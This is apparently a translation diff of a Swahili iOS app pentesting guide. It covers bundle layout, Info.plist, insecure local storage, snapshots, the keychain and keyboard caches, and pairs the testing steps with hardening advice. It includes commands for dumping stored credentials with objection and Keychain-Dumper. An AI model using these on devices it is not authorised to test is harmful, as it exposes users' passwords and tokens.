- **en.lproj, fr.proj, Base.lproj**: Ni pakiti za lugha ambazo zina rasilimali za lugha hizo maalum, na rasilimali ya chaguo-msingi endapo lugha haipatikani.
- **Usalama**: Directory ya `_CodeSignature/` ina jukumu muhimu katika usalama wa programu kwa kuthibitisha uadilifu wa faili zote zilizopakiwa kupitia saini za kidijitali.
- **Usimamizi wa Mali**: Faili ya `Assets.car` inatumia shinikizo kusimamia kwa ufanisi mali za picha, muhimu kwa kuboresha utendaji wa programu na kupunguza ukubwa wake kwa ujumla.
- **Frameworks na PlugIns**: Hizi directory zinaonyesha uundaji wa programu za iOS, zikiwaruhusu waendelezaji kujumuisha maktaba za msimbo zinazoweza kutumika tena (`Frameworks/`) na kuongeza uwezo wa programu (`PlugIns/`).
- **Usimamizi wa Mali**: Faili ya `Assets.car` inatumia shinikizo ili kusimamia kwa ufanisi mali za picha, muhimu kwa kuboresha utendaji wa programu na kupunguza ukubwa wake kwa ujumla.
- **Frameworks na PlugIns**: Hizi directory zinasisitiza uundaji wa moduli wa programu za iOS, zikiwaruhusu waendelezaji kujumuisha maktaba za msimbo zinazoweza kutumika tena (`Frameworks/`) na kuongeza uwezo wa programu (`PlugIns/`).
- **Utafsiri**: Muundo huu unasaidia lugha nyingi, ukirahisisha kufikia programu duniani kwa kujumuisha rasilimali za pakiti za lugha maalum.
**Info.plist**
**Info.plist** inatumika kama msingi wa programu za iOS, ikijumuisha data muhimu za usanidi katika mfumo wa **funguo-thamani**. Faili hii ni lazima si tu kwa programu bali pia kwa nyongeza za programu na maktaba zilizopakiwa ndani. Imeundwa kwa muundo wa XML au wa binary na ina taarifa muhimu kuanzia ruhusa za programu hadi usanidi wa usalama. Kwa uchambuzi wa kina wa funguo zinazopatikana, mtu anaweza kurejelea [**Apple Developer Documentation**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc).
**Info.plist** inatumika kama msingi wa programu za iOS, ikijumuisha data muhimu za usanidi katika mfumo wa **funguo-thamani**. Faili hii ni lazima si tu kwa programu bali pia kwa nyongeza za programu na maktaba zilizopakiwa ndani. Imeundwa kwa muundo wa XML au wa binary na ina taarifa muhimu kuanzia ruhusa za programu hadi usanidi wa usalama. Kwa uchambuzi wa kina wa funguo zinazopatikana, mtu anaweza kurejelea [**Dokumentasiyo ya Mwandishi wa Apple**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc).
Kwa wale wanaotaka kufanya kazi na faili hii kwa muundo rahisi, ubadilishaji wa XML unaweza kufanywa kwa urahisi kwa kutumia `plutil` kwenye macOS (inapatikana kiasili kwenye toleo 10.2 na baadaye) au `plistutil` kwenye Linux. Amri za ubadilishaji ni kama ifuatavyo:
Kwa wale wanaotaka kufanya kazi na faili hii kwa muundo rahisi, ubadilishaji wa XML unaweza kufanywa kwa urahisi kupitia matumizi ya `plutil` kwenye macOS (inapatikana kiasili kwenye toleo 10.2 na baadaye) au `plistutil` kwenye Linux. Amri za ubadilishaji ni kama ifuatavyo:
- **Kwa macOS**:
```bash
@ -191,20 +191,20 @@ $ plutil -convert xml1 Info.plist
$ apt install libplist-utils
$ plistutil -i Info.plist -o Info_xml.plist
```
Kati ya maelezo mengi ambayo faili ya **Info.plist** inaweza kufichua, entries muhimu ni pamoja na nyuzi za ruhusa za programu (`UsageDescription`), mipango ya URL ya kawaida (`CFBundleURLTypes`), na mipangilio ya Usalama wa Usafiri wa Programu (`NSAppTransportSecurity`). Entries hizi, pamoja na nyingine kama aina za hati za kawaida zilizotolewa/zilizopokelewa (`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`), zinaweza kupatikana kwa urahisi kwa kukagua faili au kutumia amri rahisi ya `grep`:
Kati ya maelezo mengi ambayo faili ya **Info.plist** inaweza kufichua, entries muhimu ni pamoja na nyuzi za ruhusa za programu (`UsageDescription`), mipango ya URL ya kawaida (`CFBundleURLTypes`), na mipangilio ya Usalama wa Usafiri wa Programu (`NSAppTransportSecurity`). Entries hizi, pamoja na nyingine kama aina za hati zilizotolewa/zilizopokelewa za kawaida (`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`), zinaweza kupatikana kwa urahisi kwa kukagua faili au kutumia amri rahisi ya `grep`:
```bash
$ grep -i <keyword> Info.plist
```
**Data Paths**
Katika mazingira ya iOS, directories zimewekwa maalum kwa ajili ya **system applications** na **user-installed applications**. System applications zinapatikana katika directory ya `/Applications`, wakati apps zilizowekwa na mtumiaji ziko chini ya `/var/mobile/containers/Data/Application/`. Programu hizi zinapewa kitambulisho cha kipekee kinachojulikana kama **128-bit UUID**, na kufanya kazi ya kutafuta folda ya programu kwa mikono kuwa ngumu kutokana na uhodari wa majina ya directories.
Katika mazingira ya iOS, directories zimewekwa mahsusi kwa ajili ya **system applications** na **user-installed applications**. System applications zinapatikana katika directory ya `/Applications`, wakati apps zilizowekwa na mtumiaji ziko chini ya `/var/mobile/containers/Data/Application/`. Programu hizi zinapewa kitambulisho cha kipekee kinachojulikana kama **128-bit UUID**, na kufanya kazi ya kutafuta folda ya programu kwa mikono kuwa ngumu kutokana na uhodari wa majina ya directories.
> [!WARNING]
> Kwa kuwa programu katika iOS lazima ziwe sandboxed, kila app pia itakuwa na folda ndani ya **`$HOME/Library/Containers`** yenye **`CFBundleIdentifier`** ya app kama jina la folda.
>
> Hata hivyo, folda zote mbili (data & container folders) zina faili **`.com.apple.mobile_container_manager.metadata.plist`** inayounganisha faili hizo mbili katika ufunguo `MCMetadataIdentifier`).
> Hata hivyo, folda zote mbili (folda za data & folda za container) zina faili **`.com.apple.mobile_container_manager.metadata.plist`** inayounganisha faili hizo mbili katika ufunguo `MCMetadataIdentifier`).
Ili kuwezesha kugundua directory ya usakinishaji ya app iliyowekwa na mtumiaji, **objection tool** inatoa amri muhimu, `env`. Amri hii inaonyesha taarifa za kina za directory kwa app husika. Hapa chini kuna mfano wa jinsi ya kutumia amri hii:
Ili kusaidia katika kugundua directory ya usakinishaji ya app iliyowekwa na mtumiaji, **objection tool** inatoa amri muhimu, `env`. Amri hii inaonyesha taarifa za kina za directory kwa app husika. Hapa chini kuna mfano wa jinsi ya kutumia amri hii:
```bash
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # env
@ -219,7 +219,7 @@ Kwa upande mwingine, jina la programu linaweza kutafutwa ndani ya `/private/var/
```bash
find /private/var/containers -name "Progname*"
```
Amri kama `ps` na `lsof` zinaweza pia kutumika kubaini mchakato wa programu na orodha ya faili zilizo wazi, mtawalia, zikitoa maarifa kuhusu njia za saraka za programu zinazofanya kazi:
Amri kama `ps` na `lsof` zinaweza pia kutumika kubaini mchakato wa programu na kuorodhesha faili zilizo wazi, mtawalia, zikitoa maarifa kuhusu njia za saraka za programu zinazofanya kazi:
```bash
ps -ef | grep -i <app-name>
lsof -p <pid> | grep -i "/containers" | head -n 1
@ -240,28 +240,28 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
- Maudhui katika hii directory **yanahifadhiwa**.
- Programu inaweza kuzima njia kwa kuweka `NSURLIsExcludedFromBackupKey`.
- **Library/**
- Inashikilia **faili ambazo si maalum kwa mtumiaji**, kama **caches**, **preferences**, **cookies**, na faili za usanidi wa orodha ya mali (plist).
- Inashikilia **faili ambazo si maalum kwa mtumiaji**, kama vile **caches**, **preferences**, **cookies**, na faili za usanidi wa orodha ya mali (plist).
- Programu za iOS kwa kawaida hutumia `Application Support` na `Caches` subdirectories, lakini programu inaweza kuunda subdirectories za kawaida.
- **Library/Caches/**
- Inashikilia **faili za cache zisizo na kudumu.**
- Inashikilia **faili za cache zisizo na muda mrefu.**
- Haionekani kwa watumiaji na **watumiaji hawawezi kuandika ndani yake**.
- Maudhui katika hii directory **hayahifadhiwi**.
- OS inaweza kufuta faili za directory hii kiotomatiki wakati programu haiko inafanya kazi na nafasi ya kuhifadhi inakosekana.
- OS inaweza kufuta faili za directory hii kiotomatiki wakati programu haiko inatumika na nafasi ya kuhifadhi inakuwa ya chini.
- **Library/Application Support/**
- Inashikilia **faili** **za kudumu** zinazohitajika kwa ajili ya kuendesha programu.
- Inashikilia **faili za kudumu** zinazohitajika kwa ajili ya kuendesha programu.
- **Haionekani** **kwa** **watumiaji** na watumiaji hawawezi kuandika ndani yake.
- Maudhui katika hii directory **yanahifadhiwa**.
- Programu inaweza kuzima njia kwa kuweka `NSURLIsExcludedFromBackupKey`.
- **Library/Preferences/**
- Inatumika kuhifadhi mali ambazo zinaweza **kudumu hata baada ya programu kuanzishwa tena**.
- Inatumika kuhifadhi mali ambazo zinaweza **kuendelea hata baada ya programu kuanzishwa upya**.
- Taarifa huhifadhiwa, bila usimbaji, ndani ya sandbox ya programu katika faili ya plist inayoitwa \[BUNDLE_ID].plist.
- Mifano yote ya funguo/thamani iliyohifadhiwa kwa kutumia `NSUserDefaults` inaweza kupatikana katika faili hii.
- **tmp/**
- Tumia hii directory kuandika **faili za muda** ambazo hazihitaji kudumu kati ya uzinduzi wa programu.
- Inashikilia faili za cache zisizo na kudumu.
- Tumia hii directory kuandika **faili za muda** ambazo hazihitaji kuendelea kati ya uzinduzi wa programu.
- Inashikilia faili za cache zisizo na muda mrefu.
- **Haionekani** kwa watumiaji.
- Maudhui katika hii directory hayahifadhiwi.
- OS inaweza kufuta faili za directory hii kiotomatiki wakati programu haiko inafanya kazi na nafasi ya kuhifadhi inakosekana.
- OS inaweza kufuta faili za directory hii kiotomatiki wakati programu haiko inatumika na nafasi ya kuhifadhi inakuwa ya chini.
Hebu tuangalie kwa karibu Application Bundle ya iGoat-Swift (.app) ndani ya directory ya Bundle (`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`):
```bash
@ -279,7 +279,7 @@ Regular 420 None ... README.txt
```
### Binary Reversing
Ndani ya folda `<application-name>.app` utaona faili la binary linaloitwa `<application-name>`. Hii ndiyo faili itakayokuwa **inatekelezwa**. Unaweza kufanya ukaguzi wa msingi wa binary kwa kutumia chombo **`otool`**:
Ndani ya folda ya `<application-name>.app` utaona faili la binary linaloitwa `<application-name>`. Huu ndio faili utakaokuwa **ukitekelezwa**. Unaweza kufanya ukaguzi wa msingi wa binary kwa kutumia chombo **`otool`**:
```bash
otool -Vh DVIA-v2 #Check some compilation attributes
magic cputype cpusubtype caps filetype ncmds sizeofcmds flags
@ -315,7 +315,7 @@ DVIA-v2:
0000000100004acc adrp x10, 1098 ; 0x10044e000
0000000100004ad0 add x10, x10, #0x268
```
Ili kuchapisha **sehemu ya Objective-C** ya programu ya mfano mtu anaweza kutumia:
Ili kuchapisha **sehemu ya Objective-C** ya programu ya mfano, mtu anaweza kutumia:
```bash
otool -oV DVIA-v2
DVIA-v2:
@ -355,7 +355,7 @@ double _field1;
double _field2;
};
```
Hata hivyo, chaguo bora za kufungua binary ni: [**Hopper**](https://www.hopperapp.com/download.html?) na [**IDA**](https://www.hex-rays.com/products/ida/support/download_freeware/).
Hata hivyo, chaguzi bora za kufungua binary ni: [**Hopper**](https://www.hopperapp.com/download.html?) na [**IDA**](https://www.hex-rays.com/products/ida/support/download_freeware/).
## Hifadhi ya Data
@ -371,11 +371,11 @@ ios-basics.md
### Plist
Faili za **plist** ni faili za XML zilizopangwa ambazo **zinafunguo-na-thamani**. Ni njia ya kuhifadhi data ya kudumu, hivyo wakati mwingine unaweza kupata **taarifa nyeti katika faili hizi**. Inapendekezwa kukagua faili hizi baada ya kufunga programu na baada ya kuitumia kwa nguvu ili kuona kama data mpya imeandikwa.
Faili za **plist** ni faili za XML zilizopangwa ambazo **zinafunguo na thamani**. Ni njia ya kuhifadhi data ya kudumu, hivyo wakati mwingine unaweza kupata **taarifa nyeti katika faili hizi**. Inapendekezwa kukagua faili hizi baada ya kufunga programu na baada ya kuitumia kwa nguvu ili kuona kama data mpya imeandikwa.
Njia ya kawaida ya kuhifadhi data katika faili za plist ni kupitia matumizi ya **NSUserDefaults**. Faili hii ya plist huhifadhiwa ndani ya sandbox ya programu katika **`Library/Preferences/<appBundleID>.plist`**
Njia ya kawaida ya kudumisha data katika faili za plist ni kupitia matumizi ya **NSUserDefaults**. Faili hii ya plist huhifadhiwa ndani ya sandbox ya programu katika **`Library/Preferences/<appBundleID>.plist`**
Darasa la [`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) linatoa kiolesura cha programu kwa ajili ya kuingiliana na mfumo wa default. Mfumo wa default unaruhusu programu kubadilisha tabia yake kulingana na **mapendeleo ya mtumiaji**. Data iliyohifadhiwa na `NSUserDefaults` inaweza kuonekana katika kifurushi cha programu. Darasa hili huhifadhi **data** katika **faili ya plist**, lakini inapaswa kutumika na kiasi kidogo cha data.
Darasa la [`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) linatoa kiolesura cha programu kwa ajili ya kuingiliana na mfumo wa default. Mfumo wa default unaruhusu programu kubadilisha tabia yake kulingana na **mapendeleo ya mtumiaji**. Data iliyohifadhiwa na `NSUserDefaults` inaweza kuonekana katika kifurushi cha programu. Darasa hili huhifadhi **data** katika **faili ya plist**, lakini inakusudiwa kutumika na kiasi kidogo cha data.
Data hii haiwezi kufikiwa moja kwa moja kupitia kompyuta iliyoaminika, lakini inaweza kufikiwa kwa kufanya **backup**.
@ -385,9 +385,9 @@ Ili kupata plist zote zinazotumiwa na programu, unaweza kufikia `/private/var/mo
```bash
find ./ -name "*.plist"
```
Ili kubadilisha faili kutoka **XML au binary (bplist)** format kwenda XML, mbinu mbalimbali kulingana na mfumo wako wa uendeshaji zinapatikana:
Ili kubadilisha faili kutoka **XML au binary (bplist)** format hadi XML, mbinu mbalimbali kulingana na mfumo wako wa uendeshaji zinapatikana:
**Kwa Watumiaji wa macOS:** Tumia amri ya `plutil`. Ni chombo kilichojengwa ndani katika macOS (10.2+), kilichoundwa kwa ajili ya kusudi hili:
**Kwa Watumiaji wa macOS:** Tumia amri ya `plutil`. Ni chombo kilichojengwa ndani ya macOS (10.2+), kilichoundwa kwa ajili ya kusudi hili:
```bash
$ plutil -convert xml1 Info.plist
```
@ -407,7 +407,7 @@ CoreData haiwezi kupeleka data zake kwa usimbuaji kwa chaguo-msingi. Hata hivyo,
Unaweza kupata taarifa za SQLite Core Data za programu katika njia `/private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support`
**Ikiwa unaweza kufungua SQLite na kufikia taarifa nyeti, basi umepata makosa ya usanidi.**
**Ikiwa unaweza kufungua SQLite na kufikia taarifa nyeti, basi umepata usanidi mbaya.**
```objectivec:Code from iGoat
-(void)storeDetails {
AppDelegate * appDelegate = (AppDelegate *)(UIApplication.sharedApplication.delegate);
@ -436,17 +436,17 @@ NSLog(@"data stored in core data");
[YapDatabase](https://github.com/yapstudios/YapDatabase) ni duka la funguo/thamani lililojengwa juu ya SQLite.\
Kwa kuwa databasi za Yap ni databasi za sqlite unaweza kuziona kwa kutumia amri iliyopendekezwa katika sehemu iliyopita.
### Databasi Nyingine za SQLite
### Other SQLite Databases
Ni kawaida kwa programu kuunda databasi zao za sqlite. Wanaweza kuwa **wanahifadhi** **data** **nyeti** kwenye hizo na kuziacha bila usimbaji. Kwa hivyo, kila wakati ni muhimu kuangalia kila databasi ndani ya saraka ya programu. Kwa hivyo nenda kwenye saraka ya programu ambapo data imehifadhiwa (`/private/var/mobile/Containers/Data/Application/{APPID}`)
Ni kawaida kwa programu kuunda databasi zao za sqlite. Wanaweza kuwa **wanahifadhi** **data** **nyeti** kwenye hizo na kuziacha bila usimbaji. Hivyo, kila wakati ni muhimu kuangalia kila databasi ndani ya directory ya programu. Hivyo nenda kwenye directory ya programu ambapo data imehifadhiwa (`/private/var/mobile/Containers/Data/Application/{APPID}`)
```bash
find ./ -name "*.sqlite" -or -name "*.db"
```
### Firebase Real-Time Databases
Wakuu wa programu wana uwezo wa **kuhifadhi na kusawazisha data** ndani ya **hifadhi ya data ya NoSQL inayohifadhiwa kwenye wingu** kupitia Firebase Real-Time Databases. Data iliyohifadhiwa katika muundo wa JSON, inasawazishwa kwa wateja wote waliounganishwa kwa wakati halisi.
Wakuu wa programu wana uwezo wa **kuhifadhi na kusawazisha data** ndani ya **hifadhidata ya NoSQL inayohifadhiwa kwenye wingu** kupitia Firebase Real-Time Databases. Iliyohifadhiwa katika muundo wa JSON, data inasawazishwa kwa wateja wote waliounganishwa kwa wakati halisi.
Unaweza kupata jinsi ya kuangalia hifadhidata za Firebase zilizopangwa vibaya hapa:
Unaweza kupata jinsi ya kuangalia hifadhidata za Firebase zilizowekwa vibaya hapa:
{{#ref}}
../../network-services-pentesting/pentesting-web/buckets/firebase-database.md
@ -463,7 +463,7 @@ default.realm default.realm.lock default.realm.management/ default.realm.note
$ find ./ -name "*.realm*"
```
Ili kuona faili hizi za database, chombo cha [**Realm Studio**](https://github.com/realm/realm-studio) kinapendekezwa.
Ili kuangalia faili hizi za database, chombo cha [**Realm Studio**](https://github.com/realm/realm-studio) kinapendekezwa.
Ili kutekeleza usimbaji ndani ya database ya Realm, kipande kifuatacho cha msimbo kinaweza kutumika:
```swift
@ -487,7 +487,7 @@ ls /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application S
```
### Cookies
iOS huhifadhi vidakuzi vya programu katika **`Library/Cookies/cookies.binarycookies`** ndani ya folda za kila programu. Hata hivyo, waendelezaji wakati mwingine huamua kuviweka katika **keychain** kwani **faili ya vidakuzi inaweza kufikiwa katika nakala za akiba**.
iOS huhifadhi vidakuzi vya programu katika **`Library/Cookies/cookies.binarycookies`** ndani ya folda za kila programu. Hata hivyo, waendelezaji wakati mwingine huamua kuviweka katika **keychain** kwani **faili ya cookie inaweza kufikiwa katika nakala za akiba**.
Ili kuchunguza faili ya vidakuzi unaweza kutumia [**hii python script**](https://github.com/mdegrazia/Safari-Binary-Cookie-Parser) au tumia **`ios cookies get`** ya objection.\
**Unaweza pia kutumia objection kubadilisha faili hizi kuwa muundo wa JSON na kuchunguza data.**
@ -508,17 +508,17 @@ Ili kuchunguza faili ya vidakuzi unaweza kutumia [**hii python script**](https:/
```
### Cache
Kwa kawaida NSURLSession huhifadhi data, kama **maombi na majibu ya HTTP katika Cache.db** database. Hii database inaweza kuwa na **data nyeti**, ikiwa tokeni, majina ya watumiaji au taarifa nyingine nyeti zimehifadhiwa. Ili kupata taarifa zilizohifadhiwa fungua directory ya data ya programu (`/var/mobile/Containers/Data/Application/<UUID>`) na nenda kwenye `/Library/Caches/<Bundle Identifier>`. **WebKit cache pia huhifadhiwa katika faili ya Cache.db**. **Objection** inaweza kufungua na kuingiliana na database kwa amri `sqlite connect Cache.db`, kwani ni n**ormal SQLite database**.
Kwa default NSURLSession inahifadhi data, kama **HTTP requests and responses katika Cache.db** database. Hii database inaweza kuwa na **data nyeti**, ikiwa tokeni, majina ya watumiaji au taarifa nyingine nyeti zimehifadhiwa. Ili kupata taarifa zilizohifadhiwa fungua directory ya data ya app (`/var/mobile/Containers/Data/Application/<UUID>`) na nenda kwenye `/Library/Caches/<Bundle Identifier>`. **WebKit cache pia inahifadhiwa katika faili ya Cache.db**. **Objection** inaweza kufungua na kuingiliana na database kwa amri `sqlite connect Cache.db`, kwani ni n**ormal SQLite database**.
Inapendekezwa **kuondoa uhifadhi wa data hii**, kwani inaweza kuwa na taarifa nyeti katika ombi au jibu. Orodha ifuatayo inaonyesha njia tofauti za kufanikisha hili:
Inapendekezwa **kuondoa Caching data hii**, kwani inaweza kuwa na taarifa nyeti katika ombi au jibu. Orodha ifuatayo inaonyesha njia tofauti za kufanikisha hili:
1. Inapendekezwa kuondoa majibu yaliyohifadhiwa baada ya kutoka. Hii inaweza kufanywa kwa njia iliyotolewa na Apple inayoitwa [`removeAllCachedResponses`](https://developer.apple.com/documentation/foundation/urlcache/1417802-removeallcachedresponses) Unaweza kuita njia hii kama ifuatavyo:
1. Inapendekezwa kuondoa majibu yaliyohifadhiwa baada ya kutoka. Hii inaweza kufanywa kwa kutumia njia iliyotolewa na Apple inayoitwa [`removeAllCachedResponses`](https://developer.apple.com/documentation/foundation/urlcache/1417802-removeallcachedresponses) Unaweza kuita njia hii kama ifuatavyo:
`URLCache.shared.removeAllCachedResponses()`
Njia hii itafuta maombi na majibu yote yaliyohifadhiwa kutoka faili ya Cache.db.
2. Ikiwa huhitaji kutumia faida ya vidakuzi, inapendekezwa kutumia tu mali ya usanidi ya [.ephemeral](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral) ya URLSession, ambayo itazima uhifadhi wa vidakuzi na Caches.
2. Ikiwa huhitaji kutumia faida ya vidakuzi, inapendekezwa kutumia tu mali ya usanidi ya [.ephemeral](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral) ya URLSession, ambayo itazima kuhifadhi vidakuzi na Caches.
[Apple documentation](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral):
@ -528,13 +528,13 @@ Njia hii itafuta maombi na majibu yote yaliyohifadhiwa kutoka faili ya Cache.db.
### Snapshots
Kila wakati unapobonyeza kitufe cha nyumbani, iOS **huchukua picha ya skrini ya sasa** ili iweze kufanya mpito kwa programu kwa njia laini zaidi. Hata hivyo, ikiwa **data nyeti** ipo katika skrini ya sasa, itahifadhiwa katika **picha** (ambayo **inasalia** **katika** **reboots**). Hizi ni picha ambazo unaweza pia kufikia kwa kubonyeza mara mbili skrini ya nyumbani ili kubadilisha kati ya programu.
Wakati wowote unapobonyeza kitufe cha nyumbani, iOS **huchukua picha ya skrini ya sasa** ili iweze kufanya mpito kwa programu kwa njia laini zaidi. Hata hivyo, ikiwa **data nyeti** inapatikana katika skrini ya sasa, itahifadhiwa katika **picha** (ambayo **inasalia** **katika** **reboots**). Hizi ni picha ambazo unaweza pia kufikia kwa kubonyeza mara mbili skrini ya nyumbani ili kubadilisha kati ya programu.
Ipasavyo, ikiwa iPhone haijavunjwa, **mshambuliaji** anahitaji kuwa na **ufikiaji** wa **kifaa** **kilichozuiwa** ili kuona picha hizi. Kwa kawaida picha ya mwisho huhifadhiwa katika sandbox ya programu katika folda `Library/Caches/Snapshots/` au `Library/SplashBoard/Snapshots` (kompyuta zinazotegemewa haziwezi kufikia mfumo wa faili kutoka iOX 7.0).
Ipasavyo iPhone haijavunjwa, **mshambuliaji** anahitaji kuwa na **ufikiaji** wa **kifaa** **kilichofunguliwa** ili kuona picha hizi. Kwa default picha ya mwisho inahifadhiwa katika sandbox ya programu katika folda `Library/Caches/Snapshots/` au `Library/SplashBoard/Snapshots` (kompyuta zinazotegemewa haziwezi kufikia mfumo wa faili kutoka iOX 7.0).
Njia moja ya kuzuia tabia hii mbaya ni kuweka skrini tupu au kuondoa data nyeti kabla ya kuchukua picha kwa kutumia kazi ya `ApplicationDidEnterBackground()`.
Ifuatayo ni mfano wa njia ya kurekebisha ambayo itaanzisha picha ya skrini ya kawaida.
Ifuatayo ni mfano wa njia ya kurekebisha ambayo itapanga picha ya skrini ya default.
Swift:
```swift
@ -566,7 +566,7 @@ self.backgroundImage.bounds = UIScreen.mainScreen.bounds;
[self.backgroundImage removeFromSuperview];
}
```
Hii inafanya picha ya nyuma kuwa `overlayImage.png` kila wakati programu inapokuwa kwenye background. Inazuia uvujaji wa data nyeti kwa sababu `overlayImage.png` daima itachukua nafasi ya mtazamo wa sasa.
Hii inafanya picha ya nyuma kuwa `overlayImage.png` kila wakati programu inapokuwa katika hali ya nyuma. Inazuia uvujaji wa data nyeti kwa sababu `overlayImage.png` itakuwa daima inachukua nafasi ya mtazamo wa sasa.
### Keychain
@ -574,32 +574,32 @@ Kwa kupata na kusimamia iOS keychain, zana kama [**Keychain-Dumper**](https://gi
#### **Kuhifadhi Akikumbukumbu**
Darasa la **NSURLCredential** ni bora kwa kuhifadhi taarifa nyeti moja kwa moja kwenye keychain, ikiepuka hitaji la NSUserDefaults au vifungashio vingine. Ili kuhifadhi akikumbukumbu baada ya kuingia, kanuni ifuatayo ya Swift inatumika:
Darasa la **NSURLCredential** ni bora kwa kuhifadhi taarifa nyeti moja kwa moja katika keychain, ikiepuka hitaji la NSUserDefaults au vifungashio vingine. Ili kuhifadhi akikumbukumbu baada ya kuingia, msimbo ufuatao wa Swift unatumika:
```swift
NSURLCredential *credential;
credential = [NSURLCredential credentialWithUser:username password:password persistence:NSURLCredentialPersistencePermanent];
[[NSURLCredentialStorage sharedCredentialStorage] setCredential:credential forProtectionSpace:self.loginProtectionSpace];
```
Ili kutoa hizi akiba za taarifa, amri ya Objection `ios nsurlcredentialstorage dump` inatumika.
Ili kutoa akreditif hizi zilizohifadhiwa, amri ya Objection `ios nsurlcredentialstorage dump` inatumika.
## **Keyboards za Kawaida na Cache ya Keyboard**
## **Mikabala ya Kijadi na Kumbukumbu ya Kijadi**
Kuanzia iOS 8.0, watumiaji wanaweza kufunga nyongeza za keyboard za kawaida, ambazo zinaweza kudhibitiwa chini ya **Settings > General > Keyboard > Keyboards**. Ingawa keyboards hizi zinatoa kazi za ziada, zinabeba hatari ya kuandika funguo na kuhamasisha data kwa seva za nje, ingawa watumiaji wanatolewa taarifa kuhusu keyboards zinazohitaji ufikiaji wa mtandao. Programu zinaweza, na zinapaswa, kuzuia matumizi ya keyboards za kawaida kwa ajili ya kuingiza taarifa nyeti.
Kuanzia iOS 8.0, watumiaji wanaweza kufunga nyongeza za kibodi za kawaida, ambazo zinaweza kudhibitiwa chini ya **Settings > General > Keyboard > Keyboards**. Ingawa mikabala hii inatoa kazi za ziada, inabeba hatari ya kurekodi funguo na kuhamasisha data kwa seva za nje, ingawa watumiaji wanatolewa taarifa kuhusu mikabala inayohitaji ufikiaji wa mtandao. Programu zinaweza, na zinapaswa, kuzuia matumizi ya mikabala ya kawaida kwa ajili ya kuingiza taarifa nyeti.
**Mapendekezo ya Usalama:**
- Inashauriwa kuzima keyboards za wahusika wengine kwa ajili ya kuongeza usalama.
- Kuwa makini na vipengele vya autocorrect na auto-suggestions vya keyboard ya iOS ya kawaida, ambavyo vinaweza kuhifadhi taarifa nyeti katika faili za cache zilizoko katika `Library/Keyboard/{locale}-dynamic-text.dat` au `/private/var/mobile/Library/Keyboard/dynamic-text.dat`. Faili hizi za cache zinapaswa kukaguliwa mara kwa mara kwa ajili ya data nyeti. Kurekebisha kamusi ya keyboard kupitia **Settings > General > Reset > Reset Keyboard Dictionary** inashauriwa ili kufuta data za cache.
- Kukamata trafiki ya mtandao kunaweza kufichua ikiwa keyboard ya kawaida inahamisha funguo kwa mbali.
- Inashauriwa kuzima mikabala ya wahusika wengine kwa ajili ya kuongeza usalama.
- Kuwa makini na vipengele vya kurekebisha kiotomatiki na mapendekezo ya kiotomatiki ya kibodi ya iOS ya kawaida, ambayo yanaweza kuhifadhi taarifa nyeti katika faili za kumbukumbu zilizoko katika `Library/Keyboard/{locale}-dynamic-text.dat` au `/private/var/mobile/Library/Keyboard/dynamic-text.dat`. Faili hizi za kumbukumbu zinapaswa kukaguliwa mara kwa mara kwa ajili ya data nyeti. Kurekebisha kamusi ya kibodi kupitia **Settings > General > Reset > Reset Keyboard Dictionary** inashauriwa ili kufuta data iliyohifadhiwa.
- Kukamata trafiki ya mtandao kunaweza kufichua ikiwa kibodi ya kawaida inahamisha funguo kwa mbali.
### **Kuzuia Cache ya Uwanja wa Maandishi**
### **Kuzuia Kumbukumbu ya Sehemu za Maandishi**
Protokali ya [UITextInputTraits](https://developer.apple.com/reference/uikit/uitextinputtraits) inatoa mali za kudhibiti autocorrection na kuingiza maandiko salama, muhimu kwa kuzuia cache ya taarifa nyeti. Kwa mfano, kuzima autocorrection na kuwezesha kuingiza maandiko salama kunaweza kufikiwa kwa:
Protokali ya [UITextInputTraits](https://developer.apple.com/reference/uikit/uitextinputtraits) inatoa mali za kudhibiti kurekebisha kiotomatiki na kuingiza maandiko salama, muhimu kwa kuzuia kumbukumbu ya taarifa nyeti. Kwa mfano, kuzima kurekebisha kiotomatiki na kuwezesha kuingiza maandiko salama kunaweza kufikiwa kwa:
```objectivec
textObject.autocorrectionType = UITextAutocorrectionTypeNo;
textObject.secureTextEntry = YES;
```
Zaidi ya hayo, waendelezaji wanapaswa kuhakikisha kwamba maeneo ya maandiko, hasa yale ya kuingiza taarifa nyeti kama nywila na PIN, yanazima uhifadhi kwa kuweka `autocorrectionType` kuwa `UITextAutocorrectionTypeNo` na `secureTextEntry` kuwa `YES`.
Zaidi ya hayo, wabunifu wanapaswa kuhakikisha kwamba maeneo ya maandiko, hasa yale ya kuingiza taarifa nyeti kama nywila na PIN, yanazima uhifadhi kwa kuweka `autocorrectionType` kuwa `UITextAutocorrectionTypeNo` na `secureTextEntry` kuwa `YES`.
```objectivec
UITextField *textField = [[UITextField alloc] initWithFrame:frame];
textField.autocorrectionType = UITextAutocorrectionTypeNo;
@ -608,11 +608,11 @@ textField.autocorrectionType = UITextAutocorrectionTypeNo;
Kusafisha msimbo mara nyingi kunahusisha matumizi ya **kuandika**. Kuna hatari inayohusiana kwani **maktaba zinaweza kuwa na taarifa nyeti**. Awali, katika iOS 6 na toleo la awali, maktaba zilikuwa zinapatikana kwa programu zote, zikileta hatari ya kuvuja kwa data nyeti. **Sasa, programu zimepunguzia upatikanaji wa maktaba zao pekee**.
Licha ya vizuizi hivi, **mshambuliaji mwenye ufikiaji wa kimwili** kwa kifaa kisichofungwa anaweza bado kutumia hii kwa kuunganisha kifaa hicho kwenye kompyuta na **kusoma maktaba**. Ni muhimu kutambua kwamba maktaba zinabaki kwenye diski hata baada ya kufutwa kwa programu.
Licha ya vizuizi hivi, **mshambuliaji mwenye ufikiaji wa kimwili** kwa kifaa kisichofungwa bado anaweza kutumia hii kwa kuunganisha kifaa na kompyuta na **kusoma maktaba**. Ni muhimu kutambua kwamba maktaba zinabaki kwenye diski hata baada ya kufutwa kwa programu.
